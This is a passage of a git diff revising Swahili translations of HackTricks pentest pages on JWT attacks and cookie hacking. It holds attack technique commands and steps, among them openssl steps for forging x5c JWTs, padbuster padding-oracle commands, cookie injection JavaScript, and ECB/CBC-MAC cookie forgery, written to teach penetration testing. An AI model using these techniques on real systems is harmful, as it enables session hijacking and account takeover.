Ikiwa mshambuliaji **anaunda cheti kilichojisaini mwenyewe** na kuunda token iliyofanywa kwa kutumia funguo za faragha zinazohusiana na kubadilisha thamani ya parameter "x5c" na cheti kipya kilichoundwa na kubadilisha parameta zingine, yaani n, e na x5t basi kimsingi token iliyofanywa itakubaliwa na seva.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -227,16 +227,16 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
```
|
||||
Finally, using the public and private key and the new "n" and "e" values you can use [jwt.io](https://jwt.io) to forge a new valid JWT with any information.
|
||||
|
||||
### ES256: Kufichua funguo binafsi kwa kutumia nonce sawa
|
||||
### ES256: Kufichua funguo ya faragha kwa kutumia nonce sawa
|
||||
|
||||
Ikiwa baadhi ya programu zinatumia ES256 na kutumia nonce sawa kutengeneza jwts mbili, funguo binafsi inaweza kurejeshwa.
|
||||
Ikiwa baadhi ya programu zinatumia ES256 na kutumia nonce sawa kutengeneza jwts mbili, funguo ya faragha inaweza kurejeshwa.
|
||||
|
||||
Here is a example: [ECDSA: Kufichua funguo binafsi, ikiwa nonce sawa inatumika (na SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
Here is a example: [ECDSA: Kufichua funguo ya faragha, ikiwa nonce sawa inatumika (na SECP256k1)](https://asecuritysite.com/encryption/ecd5)
|
||||
|
||||
### JTI (JWT ID)
|
||||
|
||||
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.\
|
||||
However, imagine a situation where the maximum length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementing the ID on each request you could abuse this to **replay a request** (needing to send 10000 request between each successful replay).
|
||||
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to **replay a request** (needing to send 10000 request between each successful replay).
|
||||
|
||||
### JWT Registered claims
|
||||
|
||||
|
@ -260,15 +260,15 @@ The token's expiry is checked using the "exp" Payload claim. Given that JWTs are
|
|||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Cookies Hacking
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -15,14 +15,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
Cookies zina sifa kadhaa ambazo zinadhibiti tabia yao katika kivinjari cha mtumiaji. Hapa kuna muhtasari wa sifa hizi kwa sauti ya chini:
|
||||
|
||||
### Expires and Max-Age
|
||||
|
||||
Tarehe ya kumalizika kwa cookie inamuliwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inaelezea muda kwa sekunde hadi cookie ifutwe. **Chagua `Max-age` kwani inawakilisha mazoea ya kisasa zaidi.**
|
||||
Tarehe ya kumalizika kwa cookie inamuliwa na sifa ya `Expires`. Kinyume chake, sifa ya `Max-age` inaelezea muda kwa sekunde hadi cookie itakapofutwa. **Chagua `Max-age` kwani inawakilisha mazoea ya kisasa zaidi.**
|
||||
|
||||
### Domain
|
||||
|
||||
|
@ -37,14 +36,14 @@ Njia maalum ya URL ambayo lazima iwepo katika URL iliyohitajika ili kichwa cha `
|
|||
Wakati cookies mbili zina jina sawa, ile iliyochaguliwa kutumwa inategemea:
|
||||
|
||||
* Cookie inayolingana na njia ndefu zaidi katika URL iliyohitajika.
|
||||
* Cookie iliyowekwa hivi karibuni ikiwa njia ni sawa.
|
||||
* Cookie iliyowekwa hivi karibuni ikiwa njia hizo ni sawa.
|
||||
|
||||
### SameSite
|
||||
|
||||
* Sifa ya `SameSite` inaamuru ikiwa cookies zitatumwa kwenye maombi yanayotokana na maeneo ya tatu. Inatoa mipangilio mitatu:
|
||||
* **Strict**: Inazuia cookie kutumwa kwenye maombi ya wahusika wengine.
|
||||
* **Lax**: Inaruhusu cookie kutumwa na maombi ya GET yanayoanzishwa na tovuti za wahusika wengine.
|
||||
* **None**: Inaruhusu cookie kutumwa kutoka kwa eneo lolote la wahusika wengine.
|
||||
* Sifa ya `SameSite` inaamuru ikiwa cookies zitatumwa kwenye maombi yanayotokana na maeneo ya upande wa tatu. Inatoa mipangilio mitatu:
|
||||
* **Strict**: Inazuia cookie kutumwa kwenye maombi ya upande wa tatu.
|
||||
* **Lax**: Inaruhusu cookie kutumwa na maombi ya GET yanayoanzishwa na tovuti za upande wa tatu.
|
||||
* **None**: Inaruhusu cookie kutumwa kutoka kwa eneo lolote la upande wa tatu.
|
||||
|
||||
Kumbuka, wakati wa kuunda cookies, kuelewa sifa hizi kunaweza kusaidia kuhakikisha zinatenda kama inavyotarajiwa katika hali tofauti.
|
||||
|
||||
|
@ -58,11 +57,11 @@ Kumbuka, wakati wa kuunda cookies, kuelewa sifa hizi kunaweza kusaidia kuhakikis
|
|||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
|
||||
Jedwali kutoka [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) na kidogo kubadilishwa.\
|
||||
Cookie yenye sifa ya _**SameSite**_ itapunguza **CSRF attacks** ambapo kikao kilichoingia kinahitajika.
|
||||
|
||||
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**
|
||||
**\*Kumbuka kwamba kuanzia Chrome80 (feb/2019) tabia ya kawaida ya cookie bila sifa ya cookie samesite** **itakuwa lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Kumbuka kwamba kwa muda wa muda, baada ya kutumia mabadiliko haya, **cookies bila sera ya SameSite** **katika Chrome zitachukuliwa kama None** wakati wa **dakika 2 za kwanza na kisha kama Lax kwa ombi la POST la juu la tovuti.**
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
|
@ -74,7 +73,7 @@ Hii inazuia **mteja** kufikia cookie (Kupitia **Javascript** kwa mfano: `documen
|
|||
|
||||
* Ikiwa ukurasa unatumia **cookies kama jibu** la maombi (kwa mfano katika ukurasa wa **PHPinfo**), inawezekana kutumia XSS kutuma ombi kwa ukurasa huu na **kuiba cookies** kutoka kwa jibu (angalia mfano katika [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Hii inaweza kupitishwa kwa maombi ya **TRACE** **HTTP** kwani jibu kutoka kwa seva (ikiwa njia hii ya HTTP inapatikana) itarudisha cookies zilizotumwa. Mbinu hii inaitwa **Cross-Site Tracking**.
|
||||
* Mbinu hii inakwepa na **vivinjari vya kisasa kwa kutoruhusu kutuma ombi la TRACE** kutoka JS. Hata hivyo, baadhi ya njia za kupita hii zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
|
||||
* Mbinu hii inakwepa na **vivinjari vya kisasa kwa kutoruhusu kutuma ombi la TRACE** kutoka JS. Hata hivyo, baadhi ya njia za kupita zimepatikana katika programu maalum kama kutuma `\r\nTRACE` badala ya `TRACE` kwa IE6.0 SP2.
|
||||
* Njia nyingine ni kutumia udhaifu wa zero/day wa vivinjari.
|
||||
* Inawezekana **kufuta cookies za HttpOnly** kwa kufanya shambulio la Cookie Jar overflow:
|
||||
|
||||
|
@ -90,26 +89,26 @@ Ombi litatumwa **tu** kutuma cookie katika ombi la HTTP tu ikiwa ombi linatumwa
|
|||
|
||||
## Cookies Prefixes
|
||||
|
||||
Cookies zilizo na prefix `__Secure-` zinahitajika kuwekwa pamoja na bendera ya `secure` kutoka kurasa ambazo zimehakikishwa na HTTPS.
|
||||
Cookies zilizo na awali `__Secure-` zinahitajika kuwekwa pamoja na bendera ya `secure` kutoka kurasa ambazo zimehakikishwa na HTTPS.
|
||||
|
||||
Kwa cookies zilizo na prefix `__Host-`, masharti kadhaa yanapaswa kutimizwa:
|
||||
Kwa cookies zilizo na awali `__Host-`, masharti kadhaa yanapaswa kutimizwa:
|
||||
|
||||
* Lazima ziwe zimewekwa na bendera ya `secure`.
|
||||
* Lazima ziwe na bendera ya `secure`.
|
||||
* Lazima zitoke kwenye ukurasa uliohakikishwa na HTTPS.
|
||||
* Zinakatazwa kuainisha domain, kuzuia usafirishaji wao kwa subdomains.
|
||||
* Njia ya cookies hizi lazima iwekwe kwenye `/`.
|
||||
* Njia ya cookies hizi lazima iwekwe kwa `/`.
|
||||
|
||||
Ni muhimu kutambua kwamba cookies zilizo na prefix `__Host-` haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki kinasaidia katika kutenga cookies za programu. Hivyo, kutumia prefix `__Host-` kwa cookies zote za programu inaweza kuzingatiwa kama mazoea mazuri ya kuboresha usalama na kutengwa.
|
||||
Ni muhimu kutambua kwamba cookies zilizo na awali `__Host-` haziruhusiwi kutumwa kwa superdomains au subdomains. Kizuizi hiki kinasaidia kutenga cookies za programu. Hivyo, kutumia awali ya `__Host-` kwa cookies zote za programu inaweza kuzingatiwa kama mazoea mazuri ya kuboresha usalama na kutengwa.
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
Hivyo, moja ya ulinzi wa cookies zilizo na prefix `__Host-` ni kuzuia zisifutwe kutoka subdomains. Kuzuia kwa mfano [**Cookie Tossing attacks**](cookie-tossing.md). Katika mazungumzo [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) inawasilishwa kwamba ilikuwa inawezekana kuweka cookies zilizo na prefix \_\_HOST- kutoka subdomain, kwa kudanganya parser, kwa mfano, kuongeza "=" mwanzoni au mwishoni...:
|
||||
Hivyo, moja ya ulinzi wa cookies zilizo na awali ya `__Host-` ni kuzuia ziweze kufutwa kutoka subdomains. Kuzuia kwa mfano [**Cookie Tossing attacks**](cookie-tossing.md). Katika mazungumzo [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) inawasilishwa kwamba ilikuwa inawezekana kuweka cookies zilizo na awali ya \_\_HOST- kutoka subdomain, kwa kudanganya parser, kwa mfano, kuongeza "=" mwanzoni au mwishoni...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Au katika PHP ilikuwa inawezekana kuongeza **herufi nyingine mwanzoni** mwa jina la cookie ambazo zingeweza **kubadilishwa na herufi za underscore**, kuruhusu kufuta `__HOST-` cookies:
|
||||
Au katika PHP ilikuwa inawezekana kuongeza **herufi nyingine mwanzoni** mwa jina la cookie ambazo zingeweza **kubadilishwa na herufi za chini** , kuruhusu kufuta cookies za `__HOST-`:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
|
@ -117,15 +116,15 @@ Ikiwa cookie maalum ina data nyeti angalia hiyo (hasa ikiwa unacheza CTF), kwani
|
|||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
Data nyeti iliyowekwa ndani ya cookies inapaswa daima kuchunguzwa. Cookies zilizowekwa katika Base64 au mifumo inayofanana mara nyingi zinaweza kufutwa. Udhaifu huu unaruhusu washambuliaji kubadilisha maudhui ya cookie na kujifanya watumiaji wengine kwa kuandika data zao zilizobadilishwa tena ndani ya cookie.
|
||||
Data nyeti iliyowekwa katika cookies inapaswa daima kuchunguzwa. Cookies zilizowekwa katika Base64 au mifumo inayofanana mara nyingi zinaweza kufichuliwa. Udhaifu huu unaruhusu washambuliaji kubadilisha maudhui ya cookie na kujifanya watumiaji wengine kwa kuandika data zao zilizobadilishwa tena ndani ya cookie.
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
Shambulio hili linahusisha kuiba cookie ya mtumiaji ili kupata ufikiaji usioidhinishwa kwa akaunti yao ndani ya programu. Kwa kutumia cookie iliyibwa, mshambuliaji anaweza kujifanya kuwa mtumiaji halali.
|
||||
Shambulio hili linahusisha kuiba cookie ya mtumiaji ili kupata ufikiaji usioidhinishwa kwa akaunti yao ndani ya programu. Kwa kutumia cookie iliyokuwa imeibiwa, mshambuliaji anaweza kujifanya mtumiaji halali.
|
||||
|
||||
### Session Fixation
|
||||
|
||||
Katika hali hii, mshambuliaji anamdanganya mwathirika kutumia cookie maalum kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambuliaji, mwenye cookie ya awali, anaweza kujifanya kuwa mwathirika. Mbinu hii inategemea mwathirika kuingia na cookie iliyotolewa na mshambuliaji.
|
||||
Katika hali hii, mshambuliaji anamdanganya muathirika kutumia cookie maalum kuingia. Ikiwa programu haitoi cookie mpya wakati wa kuingia, mshambuliaji, akiwa na cookie ya awali, anaweza kujifanya muathirika. Mbinu hii inategemea muathirika kuingia na cookie iliyotolewa na mshambuliaji.
|
||||
|
||||
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
||||
|
||||
|
@ -135,7 +134,7 @@ Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
|||
|
||||
### Session Donation
|
||||
|
||||
Hapa, mshambuliaji anamshawishi mwathirika kutumia cookie ya kikao ya mshambuliaji. Mwathirika, akiamini kwamba amejiunga na akaunti yake mwenyewe, atafanya vitendo bila kujua katika muktadha wa akaunti ya mshambuliaji.
|
||||
Hapa, mshambuliaji anamshawishi muathirika kutumia cookie ya kikao ya mshambuliaji. Muathirika, akiamini kwamba amejiingia kwenye akaunti yake mwenyewe, atafanya vitendo bila kujua katika muktadha wa akaunti ya mshambuliaji.
|
||||
|
||||
Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
||||
|
||||
|
@ -145,7 +144,7 @@ Ikiwa umepata **XSS katika subdomain** au unadhibiti **subdomain**, soma:
|
|||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Bonyeza kwenye kiungo kilichotangulia ili kufikia ukurasa unaoelezea udhaifu unaowezekana katika JWT.
|
||||
Bonyeza kwenye kiungo kilichotangulia kupata ukurasa unaoelezea udhaifu unaowezekana katika JWT.
|
||||
|
||||
JSON Web Tokens (JWT) zinazotumiwa katika cookies pia zinaweza kuonyesha udhaifu. Kwa maelezo ya kina kuhusu udhaifu unaowezekana na jinsi ya kuyatumia, inashauriwa kufikia hati iliyo kwenye udukuzi wa JWT.
|
||||
|
||||
|
@ -155,13 +154,13 @@ Shambulio hili linamfanya mtumiaji aliyeingia kutekeleza vitendo visivyotakiwa k
|
|||
|
||||
### Empty Cookies
|
||||
|
||||
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari vinaruhusu kuunda cookies bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:
|
||||
(Tazama maelezo zaidi katika [utafiti wa asili](https://blog.ankursundara.com/cookie-bugs/)) Vivinjari vinaruhusu kuundwa kwa cookies bila jina, ambayo inaweza kuonyeshwa kupitia JavaScript kama ifuatavyo:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Matokeo katika kichwa cha cookie kilichotumwa ni `a=v1; test value; b=v2;`. Kwa kushangaza, hii inaruhusu udanganyifu wa cookies ikiwa cookie yenye jina tupu imewekwa, ikidhibiti cookies nyingine kwa kuweka cookie hiyo tupu kuwa na thamani maalum:
|
||||
Matokeo katika kichwa cha cookie kilichotumwa ni `a=v1; test value; b=v2;`. Kwa kushangaza, hii inaruhusu udanganyifu wa cookies ikiwa cookie yenye jina tupu imewekwa, ikidhibiti cookies nyingine kwa kuweka cookie hiyo tupu kuwa thamani maalum:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`;
|
||||
|
@ -173,7 +172,7 @@ Hii inasababisha kivinjari kutuma kichwa cha cookie kinachotafsiriwa na kila sev
|
|||
|
||||
#### Chrome Bug: Tatizo la Kiwango cha Unicode Surrogate
|
||||
|
||||
Katika Chrome, ikiwa kiwango cha Unicode surrogate ni sehemu ya cookie iliyowekwa, `document.cookie` inaharibika, ikirudisha string tupu baadaye:
|
||||
Katika Chrome, ikiwa kiwango cha Unicode surrogate ni sehemu ya cookie iliyowekwa, `document.cookie` inaharibika, ikirudisha mfuatano wa tupu baadaye:
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
|
@ -193,7 +192,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
* Zope inatafuta koma ili kuanza kufafanua keki inayofuata.
|
||||
* Madarasa ya keki ya Python yanaanza kufafanua kwenye herufi ya nafasi.
|
||||
|
||||
Ukatili huu ni hatari sana katika programu za wavuti zinazotegemea ulinzi wa CSRF wa keki, kwani inaruhusu washambuliaji kuingiza keki za CSRF-token zilizogaiwa, na hivyo kuweza kupita hatua za usalama. Tatizo hili linazidishwa na usimamizi wa Python wa majina ya keki yanayojirudia, ambapo tukio la mwisho linabadilisha yale ya awali. Pia linaibua wasiwasi kwa keki za `__Secure-` na `__Host-` katika muktadha usio salama na linaweza kusababisha kupita kwa mamlaka wakati keki zinapopita kwa seva za nyuma zinazoweza kudanganywa.
|
||||
Ukatili huu ni hatari sana katika programu za wavuti zinazotegemea ulinzi wa CSRF wa keki, kwani unaruhusu washambuliaji kuingiza keki za CSRF-token zilizoghushi, na hivyo kuweza kupita hatua za usalama. Tatizo hili linazidishwa na usimamizi wa Python wa majina ya keki yanayojirudia, ambapo tukio la mwisho linabadilisha yale ya awali. Pia linaibua wasiwasi kwa keki za `__Secure-` na `__Host-` katika muktadha usio salama na linaweza kusababisha kupita kwa mamlaka wakati keki zinapopita kwa seva za nyuma zinazoweza kudanganywa.
|
||||
|
||||
### Ukaguzi wa Keki Zenye Ukatili Zaidi
|
||||
|
||||
|
@ -203,7 +202,7 @@ Ukatili huu ni hatari sana katika programu za wavuti zinazotegemea ulinzi wa CSR
|
|||
* Toka na jaribu kutumia keki ile ile.
|
||||
* Jaribu kuingia na vifaa 2 (au vivinjari) kwa akaunti ile ile ukitumia keki ile ile.
|
||||
* Angalia kama keki ina taarifa yoyote ndani yake na jaribu kuibadilisha.
|
||||
* Jaribu kuunda akaunti kadhaa zikiwa na jina la mtumiaji karibu sawa na angalia kama unaweza kuona kufanana.
|
||||
* Jaribu kuunda akaunti kadhaa zikiwa na jina la mtumiaji karibu sawa na uone kama unaweza kuona kufanana.
|
||||
* Angalia chaguo la "**nikumbuke**" ikiwa ipo ili kuona jinsi inavyofanya kazi. Ikiwa ipo na inaweza kuwa na udhaifu, daima tumia keki ya **nikumbuke** bila keki nyingine yoyote.
|
||||
* Angalia kama keki ya awali inafanya kazi hata baada ya kubadilisha nenosiri.
|
||||
|
||||
|
@ -211,8 +210,8 @@ Ukatili huu ni hatari sana katika programu za wavuti zinazotegemea ulinzi wa CSR
|
|||
|
||||
Ikiwa keki inabaki kuwa ile ile (au karibu) unapoingia, hii huenda ikamaanisha kuwa keki hiyo inahusiana na uwanja fulani wa akaunti yako (huenda jina la mtumiaji). Kisha unaweza:
|
||||
|
||||
* Jaribu kuunda akaunti nyingi za **jina la mtumiaji** zikiwa na ufanano mkubwa na jaribu **kukisia** jinsi algorithimu inavyofanya kazi.
|
||||
* Jaribu **kuvunjavunja jina la mtumiaji**. Ikiwa keki inahifadhiwa tu kama njia ya uthibitishaji kwa jina lako la mtumiaji, basi unaweza kuunda akaunti yenye jina la mtumiaji "**Bmin**" na **kuvunjavunja** kila **bit** ya keki yako kwa sababu moja ya keki ambazo utajaribu itakuwa ile inayomilikiwa na "**admin**".
|
||||
* Jaribu kuunda akaunti nyingi **zikiwa** na majina ya watumiaji yanayofanana sana na jaribu **kukisia** jinsi algorithimu inavyofanya kazi.
|
||||
* Jaribu **kuvunjavunja jina la mtumiaji**. Ikiwa keki inahifadhiwa tu kama njia ya uthibitishaji kwa jina lako la mtumiaji, basi unaweza kuunda akaunti yenye jina la mtumiaji "**Bmin**" na **kuvunjavunja** kila **kipande** cha keki yako kwa sababu moja ya keki ambazo utajaribu itakuwa ile inayomilikiwa na "**admin**".
|
||||
* Jaribu **Padding** **Oracle** (unaweza kufichua maudhui ya keki). Tumia **padbuster**.
|
||||
|
||||
**Padding Oracle - Mifano ya Padbuster**
|
||||
|
@ -225,9 +224,9 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
|||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ndiyo hali ya kosa (ile ambayo si halali).
|
||||
Padbuster itafanya majaribio kadhaa na itakuuliza ni hali ipi ndiyo hali ya makosa (ile ambayo si halali).
|
||||
|
||||
Kisha itaanza kufungua siri cookie (inaweza kuchukua dakika kadhaa)
|
||||
Kisha itaanza kufungua siri ya cookie (inaweza kuchukua dakika kadhaa)
|
||||
|
||||
Ikiwa shambulio limefanywa kwa mafanikio, basi unaweza kujaribu kuandika upya mfuatano wa chaguo lako. Kwa mfano, ikiwa ungependa **encrypt** **user=administrator**
|
||||
```
|
||||
|
@ -237,7 +236,7 @@ Hii utekelezaji itakupa cookie iliyosimbwa na kuandikwa kwa usahihi na mfuatano
|
|||
|
||||
**CBC-MAC**
|
||||
|
||||
Labda cookie inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoundwa kwa kutumia CBC na thamani hiyo hiyo. Kama inavyopendekezwa kutumia kama IV vector ya sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa na hatari.
|
||||
Labda cookie inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC. Kisha, uadilifu wa thamani ni saini iliyoundwa kwa kutumia CBC na thamani hiyo hiyo. Kama inavyopendekezwa kutumia kama IV vector ya sifuri, aina hii ya ukaguzi wa uadilifu inaweza kuwa hatarini.
|
||||
|
||||
**Shambulio**
|
||||
|
||||
|
@ -247,26 +246,25 @@ Labda cookie inaweza kuwa na thamani fulani na inaweza kusainiwa kwa kutumia CBC
|
|||
|
||||
**ECB**
|
||||
|
||||
Ikiwa cookie imesimbwa kwa kutumia ECB inaweza kuwa na hatari.\
|
||||
Ikiwa cookie imesimbwa kwa kutumia ECB inaweza kuwa hatarini.\
|
||||
Wakati unapoingia, cookie unayopokea inapaswa kuwa kila wakati sawa.
|
||||
|
||||
**Jinsi ya kugundua na kushambulia:**
|
||||
|
||||
Unda watumiaji 2 wenye takwimu karibu sawa (jina la mtumiaji, nenosiri, barua pepe, nk.) na jaribu kugundua muundo wowote ndani ya cookie iliyotolewa.
|
||||
|
||||
Unda mtumiaji anayeitwa kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna muundo wowote katika cookie (kama ECB inasimba kwa kutumia funguo sawa kila block, bytes sawa zilizosimbwa zinaweza kuonekana ikiwa jina la mtumiaji linasimbwa).
|
||||
Unda mtumiaji anayeitwa kwa mfano "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" na angalia ikiwa kuna muundo wowote katika cookie (kama ECB inasimba kwa kutumia funguo sawa kila block, bytes sawa zilizofichwa zinaweza kuonekana ikiwa jina la mtumiaji limesimbwa).
|
||||
|
||||
Inapaswa kuwa na muundo (kwa ukubwa wa block inayotumika). Hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo wa kusimbwa wa block ya "a" kutoka kwa cookie. Na utakuwa na cookie ya jina la mtumiaji "admin".
|
||||
Inapaswa kuwa na muundo (kwa ukubwa wa block inayotumika). Hivyo, ukijua jinsi kundi la "a" linavyosimbwa unaweza kuunda jina la mtumiaji: "a"\*(ukubwa wa block)+"admin". Kisha, unaweza kufuta muundo wa kisimbaji wa block ya "a" kutoka kwa cookie. Na utakuwa na cookie ya jina la mtumiaji "admin".
|
||||
|
||||
## Marejeo
|
||||
|
||||
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
|
||||
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
